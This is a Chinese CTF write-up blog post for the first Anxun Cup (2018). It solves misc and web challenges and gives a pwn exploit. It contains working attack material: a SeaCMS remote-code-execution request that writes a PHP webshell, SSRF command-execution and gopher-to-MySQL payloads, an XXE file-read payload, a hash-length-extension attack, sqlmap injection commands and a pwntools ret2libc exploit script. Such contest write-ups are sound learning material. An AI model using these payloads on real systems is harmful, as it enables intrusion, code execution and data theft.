第一届安洵杯writeup

第一届安洵杯writeup

MIsc

签到

D0g3{4a8a08f09d37b73795649038408b5f33}

CRC

第一个压缩包,提示CRC爆破结果是纯数字,直接爆破
里面三个文件,看了一下大概是要先解压password然后运行.py计算flag.zip的解压密码。
然后crc32碰撞,直接爆破password.txt的内容

import zlib
for i in xrange(0,100000000):
    buf = str(i).rjust(8,'0')
    #print buf
    if zlib.crc32(buf) & 0xffffffff == 0x0cd95dac:
        print '',buf

然后再用.py跑

import base64
import hashlib
#f = open("password.txt",'r')
#password = f.readline()
password='08646247'
b64_str = base64.b64encode(password.encode('utf-8'))
hash = hashlib.md5()
hash.update(b64_str)
zip_passowrd = hash.hexdigest()
print(zip_passowrd)

再去解压flag.zip,解压出来一张图片
改高度,先直接winhex改了过后图片直接崩了,然后绕了一会,结果就是该高度,winhex不对应该是crc的原因。

修改高度为500

可以看到flag了导出 提取文字完事。

web

Web1

第一层绕过NOHO[]=d

第二层

MD5加密后16进制转字符

MD5注入
ffifdyop

成功拿到flag

e5e8b79aeb213ad6e0e4664e78aff61b

参考文章https://joychou.org/web/SQL-injection-with-raw-MD5-hashes.html

web2

题目提示

The Intranets are in range 10.10.1.0/16
Please use right protocols :)

在name提交框那里随便提交一个test,发现输出到了url的url参数

于是利用burpsuite,使用http协议扫描一波内网主机

题外话:Intruder支持多种爆破模式。分别是:单一字典爆破、多字段相同字典爆破、多字典意义对应爆破、聚合式爆破。最常用的应该是在爆破用户名和密码的时候。使用聚合方式枚举了。选择不要搞错了

10.10.1.310.10.1.6两台主机,利用同样的方法扫描端口,

发现只有80端口,并且只有10.10.1.6主机才有d0g3.php,访问10.10.1.6/d0g3.php提示

<!--$_GET[d0g3]-->

传入

http://222.18.158.227:10180/?url=http://10.10.1.6/d0g3.php?d0g3=phpinfo();

发现执行了命令

于是读取flag

curl -v 'http://222.18.158.227:10180/?url=http://10.10.1.6/d0g3.php?d0g3=echo `cat flag.txt`; '

拿到flag

D0g3{SSRF_Is_So_Easy}

方舟计划

011000110110000101101001011100000110100101100001011011110011011000101110011110100110100101110000

hex(int(‘011000110110000101101001011100000110100101100001011011110011011000101110011110100110100101110000’,2))
‘0x6361697069616f362e7a6970’

得到caipiao6.zip 下载审计

在api.php存在弱类型

for($i=0; $i<7; $i++){
    if($numbers[$i] == $win_numbers[$i]){
        $same_count++;
    }
}
  1. {"action":"buy","numbers":[true,true,true,true,true,true,true]}

最终可以得到 Flag

D0g3{150754621171553}

double-s 签到题

http://54.200.169.99:7000/

http://54.200.169.99:7000/www.zip

下载审计构造PHP反序列化

参考文章:http://hu3sky.ooo/2018/05/09/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/?tdsourcetag=s_pctim_aiomsg

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Anti
{
    public $info;
    function __construct()
    {
        $this->info = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->info);
    }
}
if(isset($_GET['aa']))
{
    if(unserialize($_GET['aa'])=='phpinfo')
    {
        $m = new Anti();
    }
}
else
{
    header("location:index.html");
}

?>

这是一道PHP序列化漏洞的题,三种类型如下链接学习
http://www.tuicool.com/articles/zEfuEz

可以看到ini_set('session.serialize_handler', 'php');

php大于5.5.4的版本中默认使用php_serialize规则

session.serialize_handler函数是用来设置session序列化引擎的。

这里是将session序列化引擎设置为php解析。我们知道php.ini中默认session.serialize_handler为php_serialize,而index.php中将其设置为php。这就导致了seesion的反序列化问题。

先构造出一个phpinfo;

http://54.200.169.99:7000/session.php?aa=O:4:"Anti":1:{s:4:"info";s:10:"phpinfo();";}

由phpinfo()页面继续可知,session.upload_progress.enabled为On。

通过phpinfo页面,我们知道php.ini中默认session.serialize_handler为php_serialize,而index.php中将其设置为php。这就导致了seesion的反序列化问题。

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。
传入$_SESSION数据的,这里就利用到了反序列化问题
考虑序列化

<?php
class Anti
{
    public $info='print_r(scandir(dirname(__FILE__)));';
}
$obj = new Anti();
echo serialize($obj);
?>

O:4:"Anti":1:{s:4:"info";s:36:"print_r(scandir(dirname(__FILE__)));";}
http://54.200.169.99:7000/session.php?aa=O:4:"Anti":1:{s:4:"info";s:36:"print_r(scandir(dirname(__FILE__)));";}
print_r(scandir(dirname(FILE)));

http://54.200.169.99:7000/f1ag_i3_h3re

D0g3{Sim_Pl3_S3sSi0n}

Hash

<?php
@error_reporting(0);

$flag = "flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxx}";
$secret_key = "xxxxxxxxxxxxxxxxxxxxxx"; // the key is safe! no one can know except me

$username = $_POST["username"];
$password = $_POST["password"];
header("hash_key:" . $hash_key);

if (!empty($_COOKIE["getflag"])) {
    if (urldecode($username) === "D0g3" && urldecode($password) != "D0g3") {
        if ($COOKIE["getflag"] === md5($secret_key . urldecode($username . $password))) {
            echo "Great! You're in!\n";
            die ("<!-- The flag is ". $flag . "-->");
        }
        else {
            die ("Go out! Hacker!");
        }
    }
    else {
        die ("LEAVE! You're not one of us!");
    }
}

setcookie("sample-hash", md5($secret_key . urldecode("D0g3" . "D0g3")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
    setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
    echo "<source_code>";
    }
}
?>

我们如果需要获得flag,需要满足一下条件:
1.Cookie中getflag的值不能为空
2.username必须为D0g3和password不能为D0g3
3.Cookie中的getmein必须等于md5($secret.urldecode($username.$password))

满足这三个条件才可获得flag,可是我们无法得知$secret的值为多少
`setcookie("sample-hash", md5($secret . urldecode("D0g3" . "D0g3")), time() + (60 * 60 * 24 * 7));`
发现下面有行代码是这样写的,将输出的`md5($secret . urldecode("D0g3" . "D0g3"))`作为cookie输出,结合前面的数据包我们可以知道输出的值为`c3ef608fdc59d9143c39664ade7556d5` 可是这串md5是由$secret+‘Doog3Dog3’转md5而得到的,如果我们在password输入D0g3将不满足前面所需的三个条件

flag为,username为D0g3,password不可为D0g3,添加cookies,变量名为getflag,要求为:

c3ef608fdc59d9143c39664ade7556d5

安装hashdump

git clone https://github.com/bwall/HashPump
yum install openssl-devel yum install gcc-c++
cd HashPump
make
make install

利用hashpump来构造poc

hashpump
Input Signature: c3ef608fdc59d9143c39664ade7556d5
Input Data: D0g3
Input Key Length: 20
Input Data to Add: m
15e64be7722f2e46d78d483264ebc5c8
D0g3\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00m

将\x改为%,将POST的username改为D0g3,password改为D0g3%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00test,cookie加入getflag:

15e64be7722f2e46d78d483264ebc5c8
D0g3%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00m

Diglett-蒙古

http://54.200.169.99:7001/index.php?hu3debug=1

得到源码

<?php
    include_once "config.php";
    if (isset($_POST['url'])&&!empty($_POST['url']))
    {
        $url = $_POST['url'];
        if(preg_match('/file/',$url))
        {
             echo "No hacker!";
             echo "</br>";
        }
        $url2 = preg_replace('/file/','',$url);
        $content_url = getUrlContent($url2);
    }
    else
    {
        $content_url = "";
    }
    if(isset($_GET['hu3debug']))
    {
        show_source(__FILE__);
    }
    ?>

过滤了file尝试双写绕过

读配置文件
url=fifilele://localhost/var/www/config.php

<?php
$hosts = "localhost";
$dbusername = "test_user";
$dbpasswd = "";
$dbname = "test";
$dbport = 3306;
$conn = mysqli_connect($hosts,$dbusername,$dbpasswd,$dbname,$dbport);
function initdb($conn)
{
    $dbinit = "create table if not exists flag(secret varchar(100));";
    if(mysqli_query($conn,$dbinit)) return 1;
    else return 0;
}
function safe($url)
{
    $tmpurl = parse_url($url, PHP_URL_HOST);
    if($tmpurl != "localhost" and $tmpurl != "127.0.0.1")
    {
        var_dump($tmpurl);
        die("<h1><p id='test1'>You are not the local!</p></h1>");
    }
    return $url;
}
function getUrlContent($url){
    $url = safe($url);
    $url = escapeshellarg($url);
    $pl = "curl ".$url;
    echo $pl;
    $content = shell_exec($pl);
    return $content;
}
initdb($conn);
?>

知道了mysql的配置内容 gopher一波

gopher://127.0.0.1:3306/_%a8%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%5f%75%73%65%72%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%18%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%74%65%73%74%2e%66%6c%61%67%01%00%00%00%01

D0g3{G0ph1er_4nd_55rf_1s_1nt3rest1ng!}

BOOM

御剑扫目录

robots.txt和/admin/login.html,robots.txt里有/readme_.html,拿到了管理员用户名和错的密码

后台登录地址:http://222.18.158.227:10080/admin/login.html
题目是boom就直接爆破吧,看题目描述应该是绕过这个验证码,刷新数字变大,估计是时间戳生成。

但是测了一下可以直接空等于空绕过,然后直接intruder爆破
爆了很久的弱口令 结果是纯数字 很坑。

登录拿flag

70e052657cb40cf142883abaff266fee

only d0g3er can see flag

https://www.freebuf.com/vuls/150042.html

http://138.68.2.14/seacms/search.php

post:

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&&9[]=phpinfo();

写shell

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=file_put_contents('../shell.php','<?php%20@eval($_POST[c])?>');

提示.git泄露,用工具读出源码吧

\data\ common.inc.php有配置信息

直接写sql语句读取flag

http://138.68.2.14/seacms/search.php

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($Misplaced &_P{searchpage:ver}&&ver=OST[9]))&9[]=$con =mysql_connect("localhost","d0g3","FlagIsHere");
mysql_select_db("flag", $con);
$result = mysql_query("SELECT * from flag");
$row = mysql_fetch_array($result);
var_dump($row);

Magic Mirror

https://mp.weixin.qq.com/s/iLJEdzJSQD5cv66AftbJ3A

Host: 45.77.200.106

思路是在忘记密码处,填入管理员账户admin,重置管理员账号密码,然后登录管理员账号。

但是重置时会发送重置邮件,根据官方的提示,抓包将host改为vps地址,然后在vbs上开启一个web服务,目标主机就会带着重置token去访问我们的vps,然后我们利用这个token访问密码重置页面就能重置admin密码了

登录后还有一个输入框,任意提交一个字符串后抓包发现

<information><username>test</username></information>

xxe无误,直接读取文件

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ 
<!ENTITY myentity SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flag.php" >]>
<information><username>&myentity;</username></information>

拿到flag的base64编码

PD9waHAKaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Iik7CmVjaG8gIjxjZW50ZXI+PGZvbnQgc2l6ZT0nNScgY29sb3I9J3JlZCc+IjsKZWNobyAiWW91IHdhbm5hIGNhcHR1cmUgdGhpcyBmbGFnPyI7CmVjaG8gIjxicj48YnI+IjsKZWNobyAiT2ggeWVzLCBoZXJlISI7CmVjaG8gIjxicj48YnI+IjsKZWNobyAiQnV0IG5vdywgIjsKZWNobyAiPGJyPjxicj4iOwplY2hvICJHZXQgb3V0ISI7CmVjaG8gIjwvZm9udD48L2NlbnRlcj4iOwovL2ZsYWc6IEQwZzN7SGlfRDBnM19SZXMzdF80bmRfeFhlfQoKCj8+Cg==

simple sqli

一开始以为是二次注入,因为注册一个test’,登录后会报错。后面发现是cookie注入

sqlmap -r sql.txt --cookie "PHPSESSID=p6364j7vahfs88uiesq03g1e25;uname=1" --dbms mysql --level 2 --tamper base64encode,charencode --sql-shell

当时进入了sql-shell,但是马上时间截止了,很慌就没来得及找web路径,赛后发现有phpinfo

直接读取flag

select load_file('/www/sqli/secret.php')

base64解码后就是flag

D0g3{iaown_oiasnd_asdasda}

webN中国

https://michaelwayneliu.github.io/2017/12/21/SOME攻击/

webN**400)**

题目:
你们点的大餐
http://222.18.158.245:6080/

tip:Some攻击
tip2:为什么不问问富萝莉客服呢?虽然她有点傲娇
hint: https://pan.baidu.com/s/1F93XXi68eqU1uw_Pl7_kfQ 提取码:tv5y

confirm.php 存在jsonp操作,可控,直接修改网上脚本,父页面执行pay方法
img

poc:

<iframe src="http://222.18.158.245:6080/reward.php" name=b></iframe>
        <iframe name=a></iframe>
        <script>
        window.frames[0].open('http://222.18.158.245:6080/confirm.php','a');
        setTimeout(
          function(){
            window.frames[1].location.href = 'http://222.18.158.245:6080/confirm.php?callback=window.opener.pay';
          }
        ,1000);
</script>


获取到flag:D0g3{Same_Orig1n_Method_ExCute_1s_eAsy}

Pwn

巴西-neko(200)

第一次两次溢出泄露got任意两个函数的地址去查libc版本,找到/bin/sh的偏移,system函数有就很简单了
第二次启shell,栈溢出的题目的一般方法

#!/usr/bin/python
from pwn import *

context(log_level = "debug", os = "linux", arch = "i386")

elf = "./neko"
#LIBC = "libc64.so"

elf = ELF(elf)
libc = elf.libc
tar = remote('149.248.7.48',9999)
#-----------------------------------------------------------------

def dbg(script = "", elf = elf, arch = "amd64"):
    gdb.attach(tar, gdbscript = script)

def sh():
    tar.interactive()

#-----------------------------------------------------------------

system = elf.plt["system"]
puts = elf.plt["puts"]
puts_got = elf.got["puts"]
puts_off = 0x05f140
binsh_off = 0x15902b
vuln = 0x080486E7

#-----------------------------------------------------------------

tar.sendlineafter("cats?\n",'y')
pl = ''
pl += '1' * 0xd4
pl += p32(puts)
pl += p32(vuln)
pl += p32(puts_got)
tar.sendafter("anchovies:\n",pl)

tar.recvline()

libc_base = u32(tar.recv(4)) - puts_off
binsh = libc_base + binsh_off
success("libc base : "+hex(libc_base))
pl = ''
pl += '1' * 0xd4
pl += p32(system)
pl += p32(binsh) * 2
tar.sendafter("anchovies:\n",pl)

sh()

哈萨克**-hiahiahia200**)

很简单的一个题目,和oj上的一个类似,溢出覆盖arg[0]利用stack-chk-fail打印flag。。。懒到不想写脚本


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 951207194@qq.com

文章标题:第一届安洵杯writeup

文章字数:2,862

本文作者:Mang0

发布时间:2018-11-26, 21:23:57

最后更新:2018-11-26, 21:37:26

原始链接:http://mang0.me/archis/6bd5dfde/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏